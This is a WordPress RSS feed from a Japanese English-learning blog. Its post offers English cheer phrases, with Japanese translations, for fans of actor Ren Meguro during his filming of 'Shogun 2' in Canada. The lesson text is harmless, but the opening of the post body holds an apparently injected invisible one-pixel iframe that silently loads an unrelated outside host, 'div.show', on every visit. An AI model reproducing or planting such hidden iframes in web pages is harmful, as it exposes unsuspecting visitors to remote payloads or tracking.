﻿<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="https://ffeng.jp/wp-content/plugins/rss-feed-styles/public/template.xsl"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:rssFeedStyles="http://www.lerougeliet.com/ns/rssFeedStyles#"
>

<channel>
	<title>スラング | たのしむイングリッシュ</title>
	<atom:link href="https://ffeng.jp/tag/%e3%82%b9%e3%83%a9%e3%83%b3%e3%82%b0/feed/" rel="self" type="application/rss+xml" />
	<link>https://ffeng.jp</link>
	<description>FUN FUN ENGLISH</description>
	<lastBuildDate>Sun, 15 Mar 2026 14:24:39 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/becc7259dcbe6f095b1408b76d8a80aa.png?fit=32%2C15&#038;ssl=1</url>
	<title>スラング | たのしむイングリッシュ</title>
	<link>https://ffeng.jp</link>
	<width>32</width>
	<height>32</height>
</image> 
<atom:link rel="hub" href="https://pubsubhubbub.appspot.com"/>
<atom:link rel="hub" href="https://pubsubhubbub.superfeedr.com"/>
<atom:link rel="hub" href="https://websubhub.com/hub"/>
<atom:link rel="self" href="https://ffeng.jp/tag/%e3%82%b9%e3%83%a9%e3%83%b3%e3%82%b0/feed/"/>
<rssFeedStyles:reader name="Digg Reader" url="http://digg.com/reader/search/https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:reader name="Feedly" url="http://cloud.feedly.com/#subscription%2Ffeed%2Fhttps://ffeng.jp/feed/"/><rssFeedStyles:reader name="Inoreader" url="http://www.inoreader.com/?add_feed=https%3A%2F%2Fffeng.jp%2Ffeed%2F"/><rssFeedStyles:button name="Like" url="https://www.facebook.com/sharer/sharer.php?u=%url%"/><rssFeedStyles:button name="G+" url="https://plus.google.com/share?url=%url%"/><rssFeedStyles:button name="Tweet" url="https://twitter.com/intent/tweet?url=%url%"/><rssFeedStyles:button name="Evernote" url="http://www.evernote.com/clip.action?url=%url%"/><rssFeedStyles:button name="Tumblr" url="https://www.tumblr.com/widgets/share/tool?posttype=link&amp;canonicalUrl=%url%"/><site xmlns="com-wordpress:feed-additions:1">164513092</site>	<item>
		<title>【推し活英語講座】カナダで頑張ってる目黒蓮さんに英語で応援メッセージを送ろう！使えるフレーズ集</title>
		<link>https://ffeng.jp/2026/03/15/ren_meguro_shogun/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Sun, 15 Mar 2026 12:08:29 +0000</pubDate>
				<category><![CDATA[Buzzwords]]></category>
		<category><![CDATA[こんな時、どういうの？]]></category>
		<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[ジャンル別]]></category>
		<category><![CDATA[ホットトピック]]></category>
		<category><![CDATA[ボキャブラリー]]></category>
		<category><![CDATA[使える英会話・イディオム]]></category>
		<category><![CDATA[映画・テレビ]]></category>
		<category><![CDATA[注目コラム]]></category>
		<category><![CDATA[音楽]]></category>
		<category><![CDATA[＃最新ハッシュタグ事情]]></category>
		<category><![CDATA[addicted to]]></category>
		<category><![CDATA[attractive]]></category>
		<category><![CDATA[bias]]></category>
		<category><![CDATA[big fan]]></category>
		<category><![CDATA[big hit]]></category>
		<category><![CDATA[binge-watching]]></category>
		<category><![CDATA[can't wait]]></category>
		<category><![CDATA[crazy]]></category>
		<category><![CDATA[cute]]></category>
		<category><![CDATA[drama series]]></category>
		<category><![CDATA[drop-dead]]></category>
		<category><![CDATA[extra]]></category>
		<category><![CDATA[fal ling down the rabbit hole]]></category>
		<category><![CDATA[fan of the whole group]]></category>
		<category><![CDATA[fave]]></category>
		<category><![CDATA[filming location]]></category>
		<category><![CDATA[go down a rabbit hole]]></category>
		<category><![CDATA[good-looking]]></category>
		<category><![CDATA[gorgeous]]></category>
		<category><![CDATA[handsome]]></category>
		<category><![CDATA[hot]]></category>
		<category><![CDATA[leading role]]></category>
		<category><![CDATA[marathon-watching]]></category>
		<category><![CDATA[Meguro]]></category>
		<category><![CDATA[Meme]]></category>
		<category><![CDATA[mixed feelings]]></category>
		<category><![CDATA[precious]]></category>
		<category><![CDATA[ren megueo]]></category>
		<category><![CDATA[silent]]></category>
		<category><![CDATA[Snow Man]]></category>
		<category><![CDATA[stan]]></category>
		<category><![CDATA[Star]]></category>
		<category><![CDATA[stunningly]]></category>
		<category><![CDATA[stylish]]></category>
		<category><![CDATA[Trillion Game]]></category>
		<category><![CDATA[Umi no Hajimari]]></category>
		<category><![CDATA[の大ファン]]></category>
		<category><![CDATA[はまっている]]></category>
		<category><![CDATA[めちゃくちゃ好き]]></category>
		<category><![CDATA[めめ]]></category>
		<category><![CDATA[めめにガチ恋してるけどスノーマン]]></category>
		<category><![CDATA[めめ沼]]></category>
		<category><![CDATA[エキストラ]]></category>
		<category><![CDATA[ガチ恋]]></category>
		<category><![CDATA[クランクイン]]></category>
		<category><![CDATA[ゴージャス]]></category>
		<category><![CDATA[サイレント]]></category>
		<category><![CDATA[スラング]]></category>
		<category><![CDATA[セクシー]]></category>
		<category><![CDATA[トリリオンゲーム]]></category>
		<category><![CDATA[ドラマトーク]]></category>
		<category><![CDATA[ハンサム]]></category>
		<category><![CDATA[リアコ]]></category>
		<category><![CDATA[ロケ地]]></category>
		<category><![CDATA[一気見]]></category>
		<category><![CDATA[主人公]]></category>
		<category><![CDATA[主役]]></category>
		<category><![CDATA[主演]]></category>
		<category><![CDATA[可愛い]]></category>
		<category><![CDATA[塩対応　cool]]></category>
		<category><![CDATA[夏クール]]></category>
		<category><![CDATA[夢中]]></category>
		<category><![CDATA[尊い]]></category>
		<category><![CDATA[待って、無理、しんどい]]></category>
		<category><![CDATA[推し]]></category>
		<category><![CDATA[推し活]]></category>
		<category><![CDATA[最高]]></category>
		<category><![CDATA[月９ドラマ]]></category>
		<category><![CDATA[沼落ち]]></category>
		<category><![CDATA[海のはじまり]]></category>
		<category><![CDATA[消えた初恋]]></category>
		<category><![CDATA[激推し]]></category>
		<category><![CDATA[目黒蓮]]></category>
		<category><![CDATA[目黒蓮しか勝たん]]></category>
		<category><![CDATA[目黒蓮に沼落ち]]></category>
		<category><![CDATA[目黒蓮主演の新ドラマ「海のはじまり」を早く見たいわ]]></category>
		<category><![CDATA[神対応 unfriendly reaction]]></category>
		<category><![CDATA[箱推し]]></category>
		<category><![CDATA[絶賛]]></category>
		<category><![CDATA[虜]]></category>
		<category><![CDATA[複雑な気持ち　perfect reaction]]></category>
		<category><![CDATA[録画予約]]></category>
		<category><![CDATA[高い評価]]></category>
		<category><![CDATA[魅力的な]]></category>
		<guid isPermaLink="false">https://ffeng.jp/?p=6809</guid>

					<description><![CDATA[<p>2027年にディズニープラス独占配信「将軍2」の登 <a class="mh-excerpt-more" href="https://ffeng.jp/2026/03/15/ren_meguro_shogun/" title="【推し活英語講座】カナダで頑張ってる目黒蓮さんに英語で応援メッセージを送ろう！使えるフレーズ集">[...]</a></p>
The post <a href="https://ffeng.jp/2026/03/15/ren_meguro_shogun/">【推し活英語講座】カナダで頑張ってる目黒蓮さんに英語で応援メッセージを送ろう！使えるフレーズ集</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/01/ren_ganbatte/' title='【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/06/01/uminohajimari/' title='【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[</p>
<div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div>


<p>2027年にディズニープラス独占配信<strong>「将軍2」</strong>の登場人物の1人にに<strong>目黒蓮さん</strong>が抜擢。世界中で社会現象を巻き起こしたドラマ撮影のために、1月頃にカナダへ渡航し、<mark><mark style="background-color:#ffffff" class="has-inline-color">約10ヶ月間</mark></mark>の長期撮影に臨んでいます。カナダで頑張っている<strong>目黒さん</strong>に英語で応援メッセージを送ってみませんか？さらに<strong>「将軍」</strong>をテーマに盛り上がれそうな会話やドラマ用語を深掘りします。</p>



<p></p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:26px;height:auto"/></figure>



<div class="su-box su-box-style-soft" id="" style="border-color:#cca0a4;border-radius:3px;max-width:none"><div class="su-box-title" style="background-color:#ffd3d7;color:#410303;border-top-left-radius:1px;border-top-right-radius:1px">今回のkeyフレーズ</div><div class="su-box-content su-u-clearfix su-u-trim" style="border-bottom-left-radius:1px;border-bottom-right-radius:1px"><strong> I can’t wait to watch the American TV series “Shogun 2” starring Ren!</strong><br>目黒蓮が出演するハリウッドアメリカのドラマ「将軍2」を早く見たいわ！ </div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:73px;height:auto"/></figure>



<h2 class="wp-block-heading">頑張ってる目黒蓮さんや大切な人にエールを送ろう！</h2>



<figure class="wp-block-image size-large"><img data-recalc-dims="1" fetchpriority="high" decoding="async" width="678" height="452" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguro015958.png?resize=678%2C452&#038;ssl=1" alt="" class="wp-image-6817" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguro015958.png?resize=1024%2C683&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguro015958.png?resize=300%2C200&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguro015958.png?resize=768%2C512&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguro015958.png?w=1536&amp;ssl=1 1536w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/03/meguro015958.png?w=1356&amp;ssl=1 1356w" sizes="(max-width: 678px) 100vw, 678px" /></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/pomeranian-1-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e8edf1"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e8edf1 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Let&#8217;s cheer Meme on!</strong><br>めめを応援しよう！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_young_female_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fedddd"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fedddd"></span><span class="vk_balloon_content_after "></span>
<p><strong>I will always support you.</strong><br>ずっと応援しているよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_beautiful_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fedfff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fedfff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I want to give a shout out to Meme for their amazing work.</strong><br>素敵な仕事をしているめめへエールを送りたいわ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/ABE_R.jpg?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f0ffdb"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #f0ffdb"></span><span class="vk_balloon_content_after "></span>
<p><strong>I&#8217;m sending cheers to you, Ren.</strong><br>エールを送るよ、蓮</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_handsome_1-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e0fdff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e0fdff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Ren, wish you the best!</strong><br>幸運を祈ってるよ、蓮！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_curly_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fceaff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fceaff"></span><span class="vk_balloon_content_after "></span>
<p><strong>I want to give a shout out to Ren for their amazing work.</strong><br>素敵な仕事をしている蓮へエールを送りたいわ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_man_afro_african_avatar_male_teenager-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#deffce"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #deffce transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I&#8217;m sending cheers to you, Ren.</strong><br>エールを送るよ、蓮</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_hood-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ebe2fe"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ebe2fe"></span><span class="vk_balloon_content_after "></span>
<p><strong>Ren, wish you the best!</strong><br>幸運を祈ってるよ、蓮！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_young_face-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e5fff1"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e5fff1 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Good Luck!/ </strong><br><strong>Go for it!</strong><br>頑張って！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_female_adult_people_woman_doctor_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe4fb"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe4fb"></span><span class="vk_balloon_content_after "></span>
<p><strong>Great!</strong><br>すごい！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_hat_ear_piercing-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fffbce"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fffbce transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Keep it up!</strong><br>その調子だよ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_freckles_ginger-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e8ffea"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e8ffea"></span><span class="vk_balloon_content_after "></span>
<p><strong>You can do it, Meme!</strong><br>めめならできるよ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_young_face-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e5f4ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e5f4ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>You don’t need luck. You can do it!</strong><br>運なんかいらないよ。君には実力があるから大丈夫だよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/glasses_businessman_people_male_man_avatar_leader-2-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f1deff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #f1deff"></span><span class="vk_balloon_content_after "></span>
<p><strong>You are almost there!</strong><br>あとちょっと頑張れ！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_hood-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e5ffe0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e5ffe0 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Do your best!</strong><br>ベストを尽くそう！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_female_adult_people_woman_doctor_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#dbdcff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #dbdcff"></span><span class="vk_balloon_content_after "></span>
<p><strong>Be yourself.</strong><br>いつも通りにね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe6fc"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffe6fc transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Go for your dream/goal.</strong><br>夢／ゴールに向かって進んでね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_female-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#feefde"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #feefde"></span><span class="vk_balloon_content_after "></span>
<p><strong>Your efforts will be rewarded.</strong><br>努力は裏切らないのよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_female_curl_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fee2e2"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fee2e2 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Anxiety is proof of trying.</strong><br>不安になるのは頑張っている証拠よ</p>
</div></div></div>



